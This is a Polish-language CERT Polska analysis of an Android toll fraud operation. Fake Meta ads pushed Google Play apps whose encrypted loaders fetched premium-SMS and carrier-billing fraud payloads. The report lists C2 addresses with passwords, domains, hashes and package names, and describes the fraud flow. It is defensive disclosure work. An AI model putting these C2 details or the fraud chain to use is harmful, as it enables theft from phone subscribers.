Fałszywe reklamy i złośliwe aplikacje - analiza operacji toll fraud

cert.pl 3 godzin temu

14 września 2026 roku trafiliśmy na dwie reklamy na Facebooku, które ostrzegały polskich użytkowników, iż ich aplikacja do obsługi plików PDF straciła ważność. Obie prowadziły jednak do Messenger Pro w Google Play, czyli niezwiązanego z plikami PDF komunikatora. Po instalacji aplikacja uruchamiała czterowarstwowy łańcuch prowadzący do modułu realizującego toll fraud.

Dalsza analiza ujawniła znacznie większą operację. Zabezpieczyliśmy 1235 reklam Meta wyświetlanych pod 74 zidentyfikowanymi nazwami profili. Z tej grupy 852 reklamy, publikowane pod 60 nazwami, promowały 17 aplikacji z Google Play powiązanych wspólnym kodem lub infrastrukturą.

Potwierdzone aplikacje maskowały się zarówno jako komunikatory, jak i narzędzia użytkowe. Reguły wyboru kraju mogły kierować polskie urządzenia do różnych wariantów kodu. Dla polskiego kodu kraju sieci komórkowej (MCC) 260 aplikacja Messenger Pro wybierała domyślny payload realizujący toll fraud. W przypadku później przeanalizowanej aplikacji Phone Cleaner Master reguły zawierały natomiast wartość PL260, która kierowała polskie urządzenia do gałęzi z payloadem AqMu.

Głównym punktem odniesienia w analizie technicznej jest Messenger Pro. Aplikacja rzeczywiście działała jako komunikator, mogła więc wiarygodnie prosić o ustawienie jej jako domyślnej aplikacji do obsługi wiadomości SMS. Jednocześnie bazowy plik APK odtwarzał zaszyfrowany plik DEX. Uruchomiony w ten sposób moduł pobierał dane z serwera i odszyfrowywał kolejny plik DEX, który stosował reguły wyboru kraju i pobierał adekwatny payload. Łańcuch wykonania obejmował cztery warstwy: moduł ładujący w bazowym pliku APK, mechanizm kontroli kraju, mechanizm wyboru payloadu oraz wybrany payload.

Toll fraud polega na nadużyciu mechanizmów płatności mobilnych w celu uruchomienia płatnej usługi bez wiedzy i świadomej zgody abonenta. W odróżnieniu od prostego wysyłania wiadomości SMS Premium lub wykonywania połączeń o podwyższonej opłacie, wariant wykorzystujący przeglądarkę zwykle wymaga kilku kroków. Złośliwe oprogramowanie rozpoznaje obsługiwanego operatora, przełącza ruch na sieć komórkową, otwiera stronę płatności, podaje numer telefonu, przechwytuje kod weryfikacyjny z wiadomości SMS i potwierdza zakup. Użytkownik może w ogóle nie zobaczyć strony ani wiadomości weryfikacyjnej.

Dokładny przebieg zależy od dostawcy. W przypadku części ofert wystarczy wysłać słowo najważniejsze w wiadomości SMS, inne wymagają podania numeru telefonu i kodu weryfikacyjnego. Dzięki temu toll fraud można dostosować do wielu mechanizmów rozliczeń. Serwer może wybierać oferty dla określonego kraju lub operatora, natomiast pobierany kod i skrypty JavaScript pozwalają pozostawić logikę adekwatną dla danego dostawcy poza wersją aplikacji przekazaną do weryfikacji w sklepie. W naszej wcześniejszej analizie Jokera opisaliśmy rodzinę złośliwego systemu na system Android, która nadużywała płatności przez operatora. Nie przypisujemy opisywanej tutaj próbki do kampanii Joker, ale wpisuje się ona w ten sam szerszy kierunek rozwoju: od prostych nadużyć wiadomości SMS do zdalnie sterowanej automatyzacji subskrypcji.

Rysunek 1. Typowe ścieżki toll fraud wykorzystujące SMS Premium i płatności przez operatora.

W zaobserwowanych regułach Messenger Pro polski MCC 260 otrzymywał domyślny payload. Aktywny serwer C2 przydzielał zadania dotyczące zarówno wiadomości SMS Premium, jak i płatności przez operatora realizowanych w przeglądarce. Ten drugi mechanizm, określany jako Direct Carrier Billing (DCB), pozwala obciążyć rachunek abonamentowy albo saldo usługi przedpłaconej za pośrednictwem operatora komórkowego. Podczas kontrolowanego uruchomienia JavaScript przekazany przez C2 aktywował odnośnik sms: bez działania użytkownika i przekazał numer docelowy oraz słowo najważniejsze do interfejsu korzystającego z systemowego API SMS. Wartości 92505, 92512 i 92513 były numerami skróconymi SMS używanymi przez strony subskrypcji. Wysłanie wygenerowanego słowa kluczowego na jeden z tych numerów mogło zamówić lub potwierdzić płatną usługę i obciążyć abonenta. Na jednej z przechwyconych stron All4You numer 92513 wiązał się z jednorazową opłatą 30,75 zł. Kolejne zadanie prowadziło do strony Teleaudio, która oferowała usługę za 17 zł co siedem dni.

Usługi SMS Premium w rejestrze UKE

Serwer C2 aplikacji Messenger Pro zwrócił trzy numery skrócone, które sprawdziliśmy w publicznym rejestrze usług o podwyższonej opłacie UKE. Numery 92505, 92512 i 92513 figurowały w rejestrze jako aktywne usługi SMS Premium. Wysłanie wiadomości na każdy z nich kosztowało 30,75 zł brutto. Wszystkie były zarejestrowane w czterech głównych polskich sieciach komórkowych: Orange, T-Mobile, Play i Polkomtel. Operatorem usługi o numerze 92505 jest GoMobee LTD z Malty, 92512 należy do Telefuture Nederland B.V. z Holandii, a 92513 do RedLeads B.V. z Holandii. Nazwa usługi zarejestrowanej dla 92505 zawiera Loovafit i Loovaplay, co odpowiada słowom kluczowym wysyłanym przez złośliwe oprogramowanie. Dla 92513 widnieje nazwa Usluga ALL na numerze 92513, odpowiadająca słowu kluczowemu ALL 64913 zarejestrowanemu podczas kontrolowanego uruchomienia. Kwota 30,75 zł zgadza się też z informacją na stronie All4You przechwyconej w czasie wykonania. Firmy te obsługują agregację usług SMS Premium, których numery zostały wykorzystane. Są dostawcami rozliczeń, a nie operatorami kampanii złośliwego oprogramowania. Oferta Teleaudio za 17 zł co siedem dni korzystała z płatności przez operatora za pośrednictwem epayment.teleaudio.pl, a nie z numeru skróconego SMS Premium, dlatego nie figuruje w tym rejestrze.

Dystrybucja i skala kampanii

Analizę rozpoczęliśmy od dwóch polskich reklam w Bibliotece reklam Meta. Wyświetlano je pod nazwami Britney Harris i Kenneth Williams, a obie wykorzystywały ten sam fałszywy motyw aktualizacji aplikacji do plików PDF. Zawierały następujący tekst:

Aplikacja PDF straciła ważność. jeżeli nie zaktualizujesz teraz, nie będziesz mógł otworzyć plików PDF. Jesteś o krok od utraty dostępu. Nie ryzykuj. Zaktualizuj do najnowszej wersji już teraz.

Obie reklamy były aktywne w Bibliotece reklam Meta, gdy zarejestrowaliśmy je 14 września 2026 roku. Miały identyfikatory 1101937705505412 i 4635863290017072. W chwili rejestracji druga z nich miała mniej niż 100 wyświetleń, ale liczba ta dotyczyła tylko jednej reklamy w znacznie większym zbiorze.

Kliknięcie dowolnej z nich przekierowywało bezpośrednio do strony Messenger Pro w Google Play. Reklamowany pakiet to:

com.messages.sms.messenger.textmessage.owyo

Google Play przedstawiał pakiet jako Messenger Pro w wersji 9.0, opublikowany przez dewelopera Noah Isaiah Shortland. Zrzuty ekranu reklamowały blokadę hasłem, możliwość zmiany wyglądu i obsługę emoji. Nic w opisie nie łączyło aplikacji z plikami PDF ani ich aktualizacją.

CERT Polska zgłosił Messenger Pro firmie Google 15 września 2026 roku. Następnie Google usunęło aplikację ze sklepu. Zatrzymało to nowe instalacje z jej karty w Google Play, ale nie wpłynęło na kopie znajdujące się już na urządzeniach użytkowników. Podczas naszej analizy, także po usunięciu aplikacji ze sklepu, C2 i infrastruktura pomocnicza przez cały czas działały. Przyjmowały kontrolowane rejestracje z Polski i przydzielały zadania.

Skala kampanii w Meta i Google Play

Początkowy zakres analizy był wąski: dwie reklamy prowadzące do jednej aplikacji. Po zbadaniu Messenger Pro sprawdziliśmy, czy istnieje więcej reklam tej aplikacji. Systematyczne zbieranie danych powiększyło zbiór do 1235 unikalnych reklam Meta wyświetlanych pod 74 zidentyfikowanymi nazwami profili. Reklamy promowały 29 aplikacji w Google Play, a w przypadku 90 usuniętych rekordów nie można było już odtworzyć adresu docelowego. Kod i infrastruktura połączyły 17 aplikacji z operacją. To, co początkowo wyglądało na pojedynczy złośliwy plik APK promowany kilkoma reklamami, było częścią skoordynowanej i ciągłej dystrybucji.

Operacja wykorzystywała jednocześnie obie platformy. Publikacja na platformie Meta służyła do pozyskiwania polskich użytkowników dzięki płatnych reklam. Reklamy wyświetlane w znanym użytkownikowi strumieniu aktualności czerpią wiarygodność z samej platformy, dlatego fałszywe ostrzeżenia o plikach PDF wyglądały jak zwykła promocja produktu. Google Play zapewniał natomiast sposób instalacji, który użytkownicy uznają za sprawdzony i godny zaufania. Poniższe kategorie są celowo rozdzielone. Wspólny profil reklamodawcy lub podobny motyw graficzny nie wystarcza, aby stwierdzić, iż dwa pliki APK zawierają to samo złośliwe oprogramowanie.

Messenger Pro posłużył jako punkt odniesienia do mapowania kampanii. Inne reklamy i aplikacje łączyliśmy z nią wyłącznie na podstawie możliwych do zweryfikowania dowodów: dokładnych adresów docelowych reklam, identycznych skrótów materiałów reklamowych, wspólnego kodu modułu ładującego albo konkretnych powiązań DNS, TLS i hostingu. Podobne nazwy lub podobne motywy reklamowe nie były wystarczające.

Dowód Reklamy Informacje o profilach
Próbka z potwierdzonym modułem toll fraud 532 28 nazwanych profili
Próbka z powiązanym złośliwym modułem ładującym; nie odzyskano końcowego payloadu 320 33 nazwane profile
Powiązanie wyłącznie przez ponownie użyty profil reklamodawcy 98 2 nazwane profile
Ta sama kampania reklamowa, odmienna implementacja aplikacji 94 2 nazwane profile; 11 rekordów bez nazwy profilu
Reklama usunięta, adres docelowy niedostępny 90 8 nazwanych profili; 15 rekordów bez nazwy profilu
Zidentyfikowana reklamowana aplikacja, plik APK niedostępny 82 8 nazwanych profili; 25 rekordów bez nazwy profilu
Powiązanie przez identyczne materiały reklamowe; w odzyskanym APK nie potwierdzono kodu modułu ładującego 19 2 nazwane profile; 5 rekordów bez nazwy profilu
Łącznie zachowane 1235 74 zidentyfikowane nazwy profili

Nazwy profili są etykietami wyświetlanymi przy reklamach, a nie zweryfikowanymi tożsamościami. Niedostępnych aplikacji i usuniętych adresów docelowych nie wliczamy do liczby potwierdzonej na podstawie kodu. Oddzielamy też aplikacje promowane dzięki identycznych materiałów kampanii, gdy ich odzyskany APK nie zawierał modułu ładującego. 98 reklam aplikacji Quick Show i BlushToon pochodziło z profili, które promowały także potwierdzone oprogramowanie należące do operacji. Oba pliki APK były jednak czytnikami komiksów o innym kodzie i infrastrukturze. Ich obecność świadczy o ponownym użyciu kont reklamodawców, nie o związku z opisywaną operacją toll fraud.

Aplikacja lub pakiet Reklamy Stan analizy
Cool Wallpaper 153 Potwierdzona próbka realizująca toll fraud
Text Chat 135 Potwierdzona próbka realizująca toll fraud
Seed Text Messages 133 Potwierdzony moduł ładujący powiązany z operacją
Max Messenger 121 Potwierdzona próbka realizująca toll fraud
Instant Messages 99 Potwierdzony moduł ładujący powiązany z operacją
Colorful Message 94 Ta sama kampania reklamowa, odmienna ukryta ścieżka kodu
Quick Show 75 Powiązanie wyłącznie przez profil reklamodawcy; inna kampania złośliwego oprogramowania
Messenger Pro 49 Potwierdzona próbka realizująca toll fraud
Phone Cleaner Master 40 Potwierdzona próbka realizująca toll fraud
PDF Scanner Art 34 Potwierdzona próbka realizująca toll fraud
Light SMS 25 Plik APK niedostępny
BlushToon 23 Powiązanie wyłącznie przez profil reklamodawcy; inna kampania złośliwego oprogramowania
PDF Scanner Pro 21 Potwierdzony moduł ładujący powiązany z operacją
Easy Messages 15 Plik APK niedostępny
Easy Messages Pro 15 Powiązanie przez identyczne materiały reklamowe; w odzyskanym APK nie potwierdzono modułu ładującego
Short Messages 11 Potwierdzony moduł ładujący powiązany z operacją
com.trusted.pdfeditor.xnqala 11 Plik APK niedostępny
com.sms.mms.message.chat.onih 10 Plik APK niedostępny
Text Magic Messages 10 Potwierdzony moduł ładujący powiązany z operacją
Lite PDF Scanner 10 Potwierdzony moduł ładujący powiązany z operacją
com.goconversation.motsms 10 Plik APK niedostępny
Text Message Pro 9 Potwierdzony moduł ładujący powiązany z operacją
Quick Chat Message 8 Potwierdzony moduł ładujący powiązany z operacją
Text Messages 7 Potwierdzony moduł ładujący powiązany z operacją
com.purelyclean.puressd 7 Plik APK niedostępny
Go Cleaner Pro 7 Potwierdzony moduł ładujący powiązany z operacją
Quick Message Pro 5 Potwierdzony moduł ładujący powiązany z operacją
Comic Reader 4 Powiązanie przez identyczne materiały reklamowe; w odzyskanym APK nie potwierdzono modułu ładującego
site.plmn.qazcaqzsw 4 Plik APK niedostępny

W sześciu aplikacjach odzyskaliśmy komponenty toll fraud lub potwierdziliśmy bezpośrednie powiązania z payloadami. Jedenaście kolejnych plików APK zawierało złośliwe moduły ładujące powiązane z tą samą operacją przez adresy docelowe reklam, ukryte komponenty Androida, logikę aktywacji i infrastrukturę. Nie odzyskaliśmy ich końcowych modułów realizujących oszustwo, dlatego traktujemy ten poziom dowodów oddzielnie. Łącznie te 17 aplikacji było promowanych w 852 reklamach wyświetlanych pod 60 nazwami profili.

Colorful Message korzystał z dokładnie tych samych obrazów reklamowych co pozostała część kampanii i był promowany przez 94 reklamy Meta. Osobne poszukiwania w serwisie TikTok wykazały dziewięć reklam tego samego pakietu. Jego ukryta, natywna ścieżka wykonania różniła się od potwierdzonych modułów ładujących, dlatego uznajemy go za część tej samej kampanii reklamowej, ale nie twierdzimy, iż używał tej samej implementacji złośliwego oprogramowania. Light SMS, Easy Messages i pięć nowo zidentyfikowanych usuniętych pakietów pozostają dowodami pomocniczymi, ponieważ ich pliki APK były niedostępne. Easy Messages Pro i Comic Reader były bezpośrednimi adresami docelowymi reklam korzystających z identycznych materiałów kampanii, ale odzyskane wersje APK nie zawierały rozpoznanego modułu ładującego operacji.

Do adresów docelowych powiązanych z operacją prowadziły reklamy wyświetlane pod następującymi 60 nazwami profili:

Wyświetlana nazwa profilu Identyfikator profilu Meta Powiązane z operacją adresy docelowe w Google Play Reklamy
Britney Harris 61593727542707 Messenger Pro, Text Chat, Cool Wallpaper 62
Joshua Wilson 61593976501688 Max Messenger, Messenger Pro 55
James Davis 61594047778610 Cool Wallpaper, Max Messenger 42
Sarah Anderson 61593960332202 Max Messenger 36
Mary Garcia 61593595067801 Text Chat 33
German Barthelmes 61592895305250 Phone Cleaner Master 30
Lucila Cauthorne 61592754971282 Cool Wallpaper 28
Jared Rianna Max 61552742986202 Seed Text Messages, Text Message Pro 27
Tonda Pantaleo 61592879045513 Cool Wallpaper 26
Ryan Violet Nicholas 61552929878708 Seed Text Messages, Text Message Pro 25
Eerie Pictures 61592563643483 PDF Scanner Art 24
Vicious Destiny 61592419769159 Text Chat 20
Britney Thomas 61594128055022 Text Chat 18
Golebiowski Niko Maney 61552344944740 Instant Messages 18
Luminous Digest 61592160521034 Text Chat 18
Hailee Tant Tristan 61552953277786 Seed Text Messages 17
Julia Holler Yardim 61552810942953 Instant Messages 16
Reed Jordan Naceir 61552904260028 Seed Text Messages 16
Sigh Strategy 61592494676578 Text Chat 16
Donald Smith 61594085186962 Max Messenger, PDF Scanner Pro 15
Duffy Julie Kendra 61552352084393 Instant Messages 15
Kenneth Lee 61593871056189 Text Chat 15
Blaine Damiani Castro 61552353584614 Instant Messages 14
Diana Smith Follum 61552802543271 Seed Text Messages 14
Bentley Neild Elise 61553245254990 Seed Text Messages 13
Carroll Emma Katie 61552836531868 Instant Messages 13
Joshua Martin 61593802659296 Messenger Pro 13
Paul White 61593643846011 Max Messenger 12
Alfredo DiGiovanni Corder 61552422402694 Seed Text Messages 11
Annette Przybycien 61593086698190 Max Messenger 11
Nicky Tant Jaclynn 61579450411967 Short Messages 11
Forbidden Mirage 61592017277145 Phone Cleaner Master 10
Icy Theater 61592359380283 Lite PDF Scanner 10
Jene Stensrud 61592626186875 Text Magic Messages 10
Willia Lymon 61592621566557 PDF Scanner Art 10
Toby Cagle 61593027060647 Max Messenger 9
Alves Niggebrugge Skyler 61578644399109 Quick Chat Message 8
Jade Allen 61593038820356 PDF Scanner Pro 8
Andrew Johnson 61593604607638 Cool Wallpaper 7
Devotion Stories 61592197271568 Text Messages 7
Kenneth Williams 61593735942449 Messenger Pro 7
Kevin Grube DeLucia 61552901649886 Seed Text Messages 7
Lashawnda Yeargin 61593182873946 Cool Wallpaper 7
Yearning Heavenly 61592216618614 Go Cleaner Pro 7
Blazing Summary 61592244757479 Instant Messages 6
Cipher Digest 61592513695680 Instant Messages 6
Wander Desire 61592344833209 Instant Messages 6
Eternal Wall 61592636690370 Instant Messages 5
World Diary 61592643594315 Quick Message Pro 5
Ian Malito 61592606567123 PDF Scanner Pro 4
Lester Sakihara 61592758690995 Cool Wallpaper 4
Reed Elliott J 61552954417589 Seed Text Messages 4
Susan Gonzalez 61593871176440 Max Messenger 4
William Lee 61594177762913 Max Messenger 4
Rodriguez Kevin Williams 61553167738054 Seed Text Messages 3
Sarah Lee 61593639406430 Text Chat 3
Elwell Szczerba Crawford 61552361744011 Seed Text Messages 2
Haggard Brunernqz 61594305200238 PDF Scanner Pro 2
Jubb Francisco Boddorff 61552469711891 Seed Text Messages 2
Lauren Wynn Brock 61553077532051 Seed Text Messages 1

Pod nazwą Britney Harris wyświetlano także 12 reklam Easy Messages, a pod nazwą Kenneth Williams 21 reklam Light SMS. Zebraliśmy dodatkowo 898 plików reklamowych i podzieliliśmy je na 45 grup o identycznych skrótach SHA-256. 23 grupy odpowiadały plikom z wcześniejszego zbioru. Jeden niezmieniony plik o SHA-256 90b87d8b4dda273ef64853a9997bba0844f0bc02071ae5101d1be2693be1b861 pojawił się w 55 nowych reklamach obejmujących 20 pakietów i 39 zidentyfikowanych profili, oprócz jednego wcześniejszego rekordu. Liczba reklam z wcześniej najczęściej obserwowanym plikiem o SHA-256 7299f7de6acf366fc7f32f7c3873a09e11a08d9493aaa508cd2b2ee816c5d284 wzrosła z 26 do 50. Ponowne użycie tych materiałów przemawia za wspólnym przygotowaniem kampanii, a wspólny kod i infrastruktura stanowią niezależne dowody techniczne.

Wszystkie aplikacje odkryte podczas analizy zgłosiliśmy firmie Google, a Google usunęło je ze sklepu. Reklamy zgłosiliśmy również firmie Meta, i to właśnie te zgłoszenia doprowadziły do ich usunięcia. Usunięcie objęło wyłącznie reklamy, które zidentyfikowaliśmy. Inne reklamy w ramach tej samej operacji mogły pozostać aktywne bez naszej wiedzy, choć reklamy mają ograniczony czas trwania i część z nich mogła wygasnąć samoistnie. Usunięcia nie zatrzymały jednak dystrybucji w pełni: pojawiały się nowe pakiety, infrastruktura C2 przez cały czas działała, a kopie zainstalowane wcześniej mogły się z nią komunikować.

Kampania jest aktualnym przykładem problemu opisanego w naszej ewaluacji z marca 2025 roku. Stwierdziliśmy w niej, iż Meta nie wdrożyła odpowiednio kilku proponowanych zabezpieczeń, w tym skuteczniejszej obsługi zgłoszeń zwykłych użytkowników, proaktywnego blokowania powracających reklamodawców i integracji z Listą Ostrzeżeń CERT Polska. W sierpniu 2026 roku, po opublikowaniu przez Ministerstwo Cyfryzacji korespondencji z Meta, wicepremier Krzysztof Gawkowski poinformował o formalnym wystąpieniu do Komisji Europejskiej z wnioskiem o nałożenie kary w wysokości co najmniej 250 mln euro w związku ze sposobem reagowania firmy Meta na oszukańcze reklamy w Polsce.

Wspólne moduły ładujące i infrastruktura

Materiały reklamowe pozwoliły ustalić skalę kampanii, natomiast kod i infrastruktura połączyły aplikacje z tą samą operacją. Porównaliśmy 22 wersje aplikacji na system Android odzyskane podczas analizy i znaleźliśmy powtarzającą się architekturę dostarczania payloadów.

W typowej ścieżce działająca aplikacja, pierwsza warstwa łańcucha, odtwarzała w czasie wykonania zaszyfrowany plik DEX. Moduł ładujący weryfikował nazwę pakietu i MCC urządzenia, odpytywał niewielki serwer reguł, odszyfrowywał drugi plik DEX odpowiedzialny za wybór payloadu i pobierał końcowy payload z usługi Alibaba Cloud Object Storage Service (OSS). Cool Wallpaper realizował część tego łańcucha w kodzie natywnym. Max Messenger używał zaszyfrowanego mechanizmu kontroli kraju napisanego w Javie, ale przenosił kolejny etap wyboru ścieżki do kodu ARM64.

Późniejsze wersje zachowały pierwszą warstwę aplikacji, ukryte komponenty aplikacji bazowej i zdalny mechanizm aktywacji, ale różniły się sposobem przekazania sterowania do ostatniego etapu. Text Messages, Short Messages, Seed Text Messages i Instant Messages przekazywały zweryfikowaną lub przekształconą odpowiedź serwera do biblioteki natywnej. Quick Chat Message odszyfrowywał odpowiedź serwera i ładował ją bezpośrednio dzięki InMemoryDexClassLoader. Sześć aplikacji odzyskanych podczas analizy stosowało te same dwa rozwiązania. PDF Scanner Pro, Text Magic Messages, Go Cleaner Pro i Text Message Pro przekazywały zweryfikowane odpowiedzi z regułami do kodu natywnego. Quick Message Pro i Lite PDF Scanner odtwarzały uwierzytelnione kontenery DEX i ładowały je z pamięci. Wstrzyknięte wywołania startowe i ukryte komponenty odpowiadały operacji, choć nie odzyskaliśmy końcowych modułów realizujących oszustwo.

Aplikacja Pakiet Domena reguł Odzyskany obiekt lub adres
Storage Cleaner ai.storage.cleaner.phonecleaner.junkfiles.wlchyh api.bcvsri.link aqmu2115
Document Reader fast.documentreader.pdfviewer.kqvndr api.sdbnxm.link aqmu2116
Text Chat com.text.chat.messaging.sms.vccqaho api.trixbn.link adres zapasowy 8.219.222.81
Smart Clean com.smartcleansdhcn.tools api.fdghsn.link aqmu2124, adres zapasowy 47.245.84.227
Clean Max com.cleanmax.imam.cleaner.upvvpdh api.fgsbns.link aqmu2132
PDF Scanner Art com.pdfscanner.artyo api.ghdnbv.link aqmu2145, adres zapasowy 43.106.56.154
Phone Cleaner Master com.ms.phonecleaner.clean.junk.pkoza api.hsbdbv.link aqmu2150, C2 47.84.193.174, adres zapasowy 47.84.57.5
Frekas com.storage.phone.delete.frekas api.ksbxnc.link aqmu2154, adres zapasowy 47.84.66.120
Messenger Pro com.messages.sms.messenger.textmessage.owyo api.tehsnb.link aqmu2155, C2 47.84.77.127
Max Messenger com.maxmessenger.sms.pkqlav api.yandeb.link odzyskany etap wyboru ścieżki ARM64
Cool Wallpaper com.supono.ihgsvco api.uhsbxh.link /ehed/mcdjd; zaszyfrowany zasób ELF rs9w51
Text Messages com.cuff.textsms.messages.patk api.evabunt.link /ywes/tmop; biblioteka natywna lzopvfrnzx
Short Messages com.shrtsms.xxmessages api.piaagt.click /foung/shrts; biblioteka natywna tfbgoemroyhv
Seed Text Messages com.seeds.textsms.avon api.fuzwek.click /pekui/zzmer; biblioteka natywna ewytjh
Instant Messages com.instantmessages.textdatamessages api.vamko.click /edapsn/sewkx; biblioteka natywna dmiui
Quick Chat Message com.chatmessages.textsmsmessanger api.swepqk.click /zleir/oyfen; zdalne floral.shift.Coffee.jubilant()
PDF Scanner Pro com.pdf.quantum.scanner api.piaagt.click, zapasowo api.funtpjw.click /rumag/ksgpr; biblioteka natywna jcxo
Text Magic Messages com.efasms.magical.tmmssages api.tegonp.click /ver1/textmg; biblioteka natywna rdxmrbngoifk
Go Cleaner Pro com.merclean.approximating api.merfunk.click /dafiv/taqmg; biblioteka natywna cjbfhbuzpra
Text Message Pro com.tipro.smstext.message api.dokersxxnv.click /naizboa/bhbdxcm; biblioteka natywna hlkmd
Quick Message Pro com.msg.quick.secure.chsrkm Nie odzyskano Uwierzytelniony kontener DEX o rozmiarze 188 250 bajtów
Lite PDF Scanner imagetopdf.pdfconverter.jpgtopdf.avabcl Chroniony w module ładującym Uwierzytelniony DEX ładowany przez uchwyty metod

Historyczne dane WHOIS pokazują, iż wszystkie 20 domen nadrzędnych zarejestrowano za pośrednictwem Amazon Registrar między 10 lipca a 17 września 2026 roku. Pasywne dane DNS powiązały 16 pierwotnych hostów api z odrębnymi balancerami Aliyun w regionie US East. Dwie wcześniejsze pary domen zarejestrowano w odstępach odpowiednio 29 i 38 sekund, co jest zgodne z automatycznym procesem rejestracji domen. Cztery nowe domeny nadrzędne używały tego samego szablonu serwerów nazw AWS co 16 pierwotnych domen, a ich hosty api wskazywały na pary adresów Alibaba. Osiem odzyskanych obiektów OSS miało wspólny prefiks aqmu oraz identyfikatory od 2115 do 2155.

Cztery nowo odzyskane domeny nadrzędne miały dokładnie te same historyczne skróty wartości pól WHOIS dotyczących organizacji rejestrującego, numeru telefonu i adresu co piaagt.click, tehsnb.link i hsbdbv.link. Jest to bardziej szczegółowe powiązanie niż korzystanie z tego samego rejestratora lub dostawcy chmury. PDF Scanner Pro zapewnił kolejny bezpośredni łącznik: jego podstawowy adres API korzystał z hosta api.piaagt.click, który występował już w Colorful Message i Short Messages, choć każda wersja używała innej ścieżki, znacznika i biblioteki natywnej. Dane rejestracyjne, struktura DNS, nazewnictwo obiektów i konstrukcja kodu łącznie przemawiają za wspólnym przygotowaniem infrastruktury.

Phone Cleaner Master pozwolił na najdokładniejsze porównanie późniejszej wersji z punktem odniesienia Messenger Pro. 16 września jego serwer reguł zwrócił:

poirjfirenhrhfgwv_GUOJIA=999_PL260_NG621_AT232

Znacznik aktywował wbudowany etap wyboru ścieżki, a sufiks wskazywał MCC 260, 621 i 232 dla gałęzi AqMu. Polskie urządzenia pobierały zatem aqmu2150 i ładowały com.dzyna.mytsx.AqMu.land(). Powstały plik DEX zawierał 112 klas, tyle samo co payload AqMu odzyskany z Messenger Pro, i miał taki sam rozkład rozmiarów pakietów.

Obie wersje AqMu miały odrębne konfiguracje C2. Wersja z Messenger Pro używała 47.84.194.202/asnvoycs z hasłem u18r3ze2, a wersja z Phone Cleaner Master używała 47.84.193.174/j26j8vf7 z hasłem trd6rgu5. Obie zachowywały adres zapasowy 129.226.172.250, adres raportowania zdarzeń api.appbhwljk.com/api/v3/wkev i ten sam osadzony token zdarzeń. Zgodność kodu i konfiguracji wiąże payloady mocniej niż samo korzystanie ze wspólnego hostingu chmurowego.

Messenger Pro był punktem wyjścia do analizy infrastruktury sieciowej. Jego końcowy payload komunikował się z 47.84.77.127 przez nieszyfrowany protokół HTTP. Zbadaliśmy historię usług obserwowanych na tym adresie IP, szukając identyfikatorów wspólnych z adresami odzyskanymi z powiązanych wersji. VirusTotal zarejestrował na porcie 443 usługę TLS, która 10 września 2026 roku prezentowała wygasły certyfikat Let's Encrypt wystawiony dla ablefee.wiki:

Certificate SHA-256: 5848152508acc864869500c0dfff20723a087019eb717131dc6d7df51fbd75e6 Subject CN: ablefee.wiki Issuer: Let's Encrypt R11 Valid from: 2025-02-06 05:00:46 UTC Valid until: 2025-05-07 05:00:45 UTC Observed on IP: 47.84.77.127:443, 2026-09-10

Ta obserwacja TLS spowodowała, iż włączyliśmy ablefee.wiki do analizy. Domena nie występuje w kodzie Messenger Pro ani jego żądaniach sieciowych, a pasywne dane DNS nie łączą jej z 47.84.77.127. Istotny jest skrót SHA-256 certyfikatu, który VirusTotal zaobserwował także na pięciu adresach IP odzyskanych niezależnie z powiązanych próbek modułu ładującego:

Adres IP Kontekst próbki Pierwsza obserwacja certyfikatu w VT w 2026 roku
43.98.201.44 wcześniejsza gałąź PDF 4 maja
43.106.58.250 adres zapasowy AI Cleaner 31 sierpnia
8.219.222.81 adres zapasowy Text Chat 8 września
47.245.84.227 adres zapasowy Smart Clean 12 września
47.84.66.120 adres zapasowy Frekas 14 września

Ten sam wygasły certyfikat prezentowało zatem sześć niezależnie powiązanych serwerów. Użycie identycznego certyfikatu podczas negocjacji TLS zwykle wymaga dostępu do odpowiadającego mu klucza prywatnego, dlatego jego ponowne wykorzystanie przemawia za wspólnym zarządzaniem infrastrukturą.

Ocena zebranych dowodów

Zebrane dowody łączą 17 aplikacji z Google Play i 852 reklamy Meta ze skoordynowaną operacją toll fraud wymierzoną w polskich użytkowników Androida. W sześciu aplikacjach odzyskaliśmy komponenty toll fraud albo bezpośrednie powiązania z payloadami. Jedenaście kolejnych zawierało powiązane złośliwe moduły ładujące, choć nie udało się odzyskać ich końcowych modułów realizujących oszustwo. Ponowne użycie materiałów reklamowych łączy profile Meta ze stronami Google Play, natomiast konstrukcja modułu ładującego, ukryte komponenty aplikacji bazowych, dane WHOIS, nazwy obiektów OSS i wzorce rejestracji domen łączą przeanalizowane wersje. C2 aplikacji Messenger Pro przekazał aktywne zadania dotyczące wiadomości SMS Premium i cyklicznych płatności przez operatora, a późniejsze reguły Phone Cleaner Master zawierały polski MCC 260 w gałęzi AqMu. Ponowne użycie certyfikatu jest dodatkowym powiązaniem infrastruktury, ale nie dowodzi, iż wszystkie historyczne serwery kontrolował ten sam podmiot. Nie przypisujemy więc operatorowi żadnej tożsamości, narodowości ani lokalizacji.

Analiza techniczna

Pełny łańcuch wykonania odtworzyliśmy dzięki analizy statycznej, badania ruchu sieciowego i kontrolowanego uruchomienia na urządzeniu z systemem Android 15, skonfigurowanym z profilem polskiego operatora komórkowego. Wyniki analizy statycznej porównaliśmy z odszyfrowaną komunikacją z C2, logami aplikacji i aktywnością WebView. W tym artykule określenie zaobserwowane oznacza zachowanie zarejestrowane podczas działania aplikacji. Funkcjonalność oznacza natomiast zaimplementowany kod, który nie został aktywowany w naszych testach.

Jeśli nie zaznaczono inaczej, poniższy opis wykonania dotyczy wybranej aplikacji kampanii, czyli Messenger Pro. Powiązane próbki zachowywały ten sam ogólny model dostarczania kodu, ale różniły się widoczną warstwą aplikacji, znacznikami reguł, implementacją wyboru ścieżki, obiektami z payloadami i konfiguracją C2.

Widoczna aplikacja i uprawnienia do SMS

Messenger Pro nie była pustą atrapą. W środowisku testowym aplikacja przechodziła konfigurację i wyświetlała działającą skrzynkę odbiorczą z kategoriami wiadomości, prywatnymi rozmowami, blokowaniem spamu i archiwum. Na ekranie uprawnień widniał komunikat: Your privacy comes first. No unnecessary permissions.

Po wybraniu jej jako domyślnej aplikacji do obsługi wiadomości SMS w zwykłym interfejsie Androida system przyznał uprawnienia READ_SMS, RECEIVE_SMS, RECEIVE_MMS i SEND_SMS z flagą GRANTED_BY_ROLE. Przyznano również dostęp do stanu telefonu, połączeń, kontaktów i publikowania powiadomień. Osobno zezwoliliśmy na wyświetlanie nad innymi aplikacjami.

